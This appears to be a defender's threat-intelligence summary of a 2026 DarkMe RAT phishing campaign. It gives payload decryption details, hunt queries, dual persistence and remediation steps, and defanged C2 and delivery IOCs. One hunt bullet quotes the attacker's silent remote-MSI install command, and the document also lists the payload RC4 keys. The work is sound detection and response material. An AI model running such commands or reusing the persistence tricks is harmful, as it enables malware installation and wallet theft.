DarkMe RAT: A VB6 APT Trojan Turned Conventional Infostealer

What it is

A 2026 DarkMe (VB6 stealer/RAT, EvilNum/Water Hydra-linked) campaign delivered by plain phishing rather than the group's earlier zero-days (CVE-2023-38831 WinRAR, CVE-2024-21412 SmartScreen). Huntress' value beyond the chain description is a set of concrete hunt queries, corrected IOCs, and a correction to how the payload is decrypted. Note the correction matters for hashing: the "single-byte XOR 0x02" everyone reports is wrong.

The RC4-that-isn't (why your hash may be wrong)

The payload (company.cer) is decrypted with key Nobodygoingout through a broken RC4: the author omitted the S-box swap and identity init, so state collapses to a fixed point emitting 0x02 forever after seven bytes. The real first seven keystream bytes are b2 68 ce a0 40 7e 00, which decrypt the DOS header exactly. Analysts who shortcut with XOR-0x02-throughout-then-hand-patch-MZ get five wrong bytes in legacy header fields — the file still loads and analyzes correctly but yields a different hash. Correct payload SHA-256: 54ed18aa883b53794810be0428b3a0167758183c5b3ba5660af747dc81dd5b76.

Hunt queries (the reason to act)

• rundll32.exe invoked with /sta and a GUID but no DLL path on the command line — central to every DarkMe generation, rare legitimately.
• msiexec fetching a remote MSI over HTTP/S (URL argument to /i), e.g. msiexec /i https://onlineview365[.]com/propi.msi /quiet /norestart.
• reg.exe import of a file from a user-writable path, especially %AppData%.
• wscript.exe/cscript.exe running a .wsf from %AppData%, or either spawning reg.exe/rundll32.exe.
• Execution of .pif files at all (essentially nonexistent legitimately on modern Windows).
• Signed Microsoft binary clspack.exe ("Zip Package Creation Tool") running from %AppData%\Microsoft\ rather than System32/SysWOW64 — cleaner signal than catching the RunPE injection.
• Enumerate HKCU\Software\Classes\*\shell\open\command for non-standard protocol handlers, and Run values invoking explorer.exe with a custom URI — catches the Locked:// parent-masking persistence.

Remediation ordering constraint

Persistence is dual: an HKCU ...\CurrentVersion\Run value (Locked → explorer.exe "Locked://Newest") and the HKCU\Software\Classes\Locked protocol handler plus CLSID {CFDC57BA-1705-45AF-BA10-EFC3D592982B}. Removing one without the other leaves the relaunch path intact. Delete both, remove ComponentsFolder and %AppData%\Microsoft\clspack.exe, terminate the hollowed clspack.exe; a reboot is required to complete removal. Treat any wallet/seed phrase on the host as compromised.

IOCs

• C2: thatawful[.]boutique → 67.43.50[.]11:7712 (block outbound TCP 7712 — low-noise). Same IP redirects web ports to effectivecpmnetwork[.]com; co-resident megchartedbk7[.]com.
• Payload host RC4 key differs from prior reporting: onlywayhere23!$$#@!!35@!12 (SonicWall/Trend Micro saw noway123!$$#@35@!) — indicates a fresh build from the same toolkit, not a recycled binary.
• Delivery domains: onlineview365[.]com, readonline365[.]com, storageonline[.]me, viewdocument[.]live, advancedfuturetechnology[.]com, sharedfuturetech[.]com. Paths vary (/view/image.png, /SCAN_2026-0698494.pif); some serve PE as text/plain or 301 from .png/.pdf to .pif.

Caveats

The staging server scored 0/52 on VirusTotal, 0% on AbuseIPDB, unclassified on GreyNoise — reputation feeds will not catch this; rely on the hashes/behavior above. The 329-app "gate" is an inverted sandbox check (exits if none of the listed real-user apps — wallets, Razer/RGB daemons, game launchers — are running), so it can't be defeated by hiding a debugger. Huntress treats the co-hosted ClickFix/Efimer stealer on sharedfuturetech[.]com and a 27 MB PNG with appended data as separate campaigns.